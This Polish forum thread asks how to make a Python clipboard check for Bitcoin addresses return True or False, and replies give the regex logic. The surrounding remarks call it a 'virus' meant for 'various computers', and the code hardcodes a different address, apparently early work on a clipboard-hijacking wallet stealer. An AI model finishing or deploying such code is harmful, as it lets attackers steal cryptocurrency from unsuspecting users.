Szukanie adresu Bitcoin za pomocą "re.match".

Szukanie adresu Bitcoin za pomocą "re.match".
Sos BBq - Biki-Miki
  • Rejestracja:około 6 lat
  • Ostatnio:ponad 3 lata
  • Lokalizacja:jakieś zadupie w wielkopolsce
  • Postów:46
0

Witam, jak napisałem w temacie mam problem z znalezieniem adresu Bitcoin.
Oto mój kod:

Kopiuj
import re
import win32clipboard

btc_address = b'1HU6Fr4mzw2TtjJaAGt75YkAhnb5gDgZFL'

def main():
    win32clipboard.OpenClipboard()
    data = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()

    if len(data) > 33:
        data = re.match('^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$', data)

        print(data)

if __name__ == '__main__':
    main()

Ten kod zwraca mi:

Kopiuj
<re.Match object; span=(0, 34), match='1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v'>

lub gdy nie mam adresu btc:

Kopiuj
None

A chciałbym mieć zwracane True lub False

Z góry dzięki.

edytowany 5x, ostatnio: Sos BBq - Biki-Miki
DR
  • Rejestracja:około 12 lat
  • Ostatnio:około 5 godzin
  • Postów:1131
2

Napisz sobie po tym print warunek if data i zamapuj.

Kopiuj
(...)
def main():
    (...)
    if len(data) > 33:
        data = re.match('^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$', data)

        print(data)
        if data:
            return True
         return False

if __name__ == '__main__':
    main()
edytowany 1x, ostatnio: Dregorio
Yukiteru Gromadzki
  • Rejestracja:ponad 6 lat
  • Ostatnio:ponad rok
  • Postów:192
0

Myślałem że sobie darowałeś tego wirusa :D

Tak sprawdzasz dane regexem

Kopiuj
import re

#...
data = '1HU6Fr4mzw2TtjJaAGt75YkAhnb5gDgZFL'
result = re.match('^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$', data);

if result:
    print("Adress does match ({})".format(data))
else:
	print("Address does not match")
#....
Sos BBq - Biki-Miki
  • Rejestracja:około 6 lat
  • Ostatnio:ponad 3 lata
  • Lokalizacja:jakieś zadupie w wielkopolsce
  • Postów:46
0

Dzięki :D

BTW. To ten stary "wirus" to był zakład a ten to będzie na różnych kompach :D

edytowany 1x, ostatnio: Sos BBq - Biki-Miki
Sos BBq - Biki-Miki
  • Rejestracja:około 6 lat
  • Ostatnio:ponad 3 lata
  • Lokalizacja:jakieś zadupie w wielkopolsce
  • Postów:46
0

Proszę o zamnknięcie tematu.

stivens
  • Rejestracja:ponad 8 lat
  • Ostatnio:około 7 godzin
1

Tematu nie trzeba zamykac. Przy odpowiedzi masz takie "zaakceptuj" i to oznacza temat jako rozwiazany


λλλ
Sos BBq - Biki-Miki
  • Rejestracja:około 6 lat
  • Ostatnio:ponad 3 lata
  • Lokalizacja:jakieś zadupie w wielkopolsce
  • Postów:46
0
stivens napisał(a):

Tematu nie trzeba zamykac. Przy odpowiedzi masz takie "zaakceptuj" i to oznacza temat jako rozwiazany

No i to mam kliknięte

Zarejestruj się i dołącz do największej społeczności programistów w Polsce.

Otrzymaj wsparcie, dziel się wiedzą i rozwijaj swoje umiejętności z najlepszymi.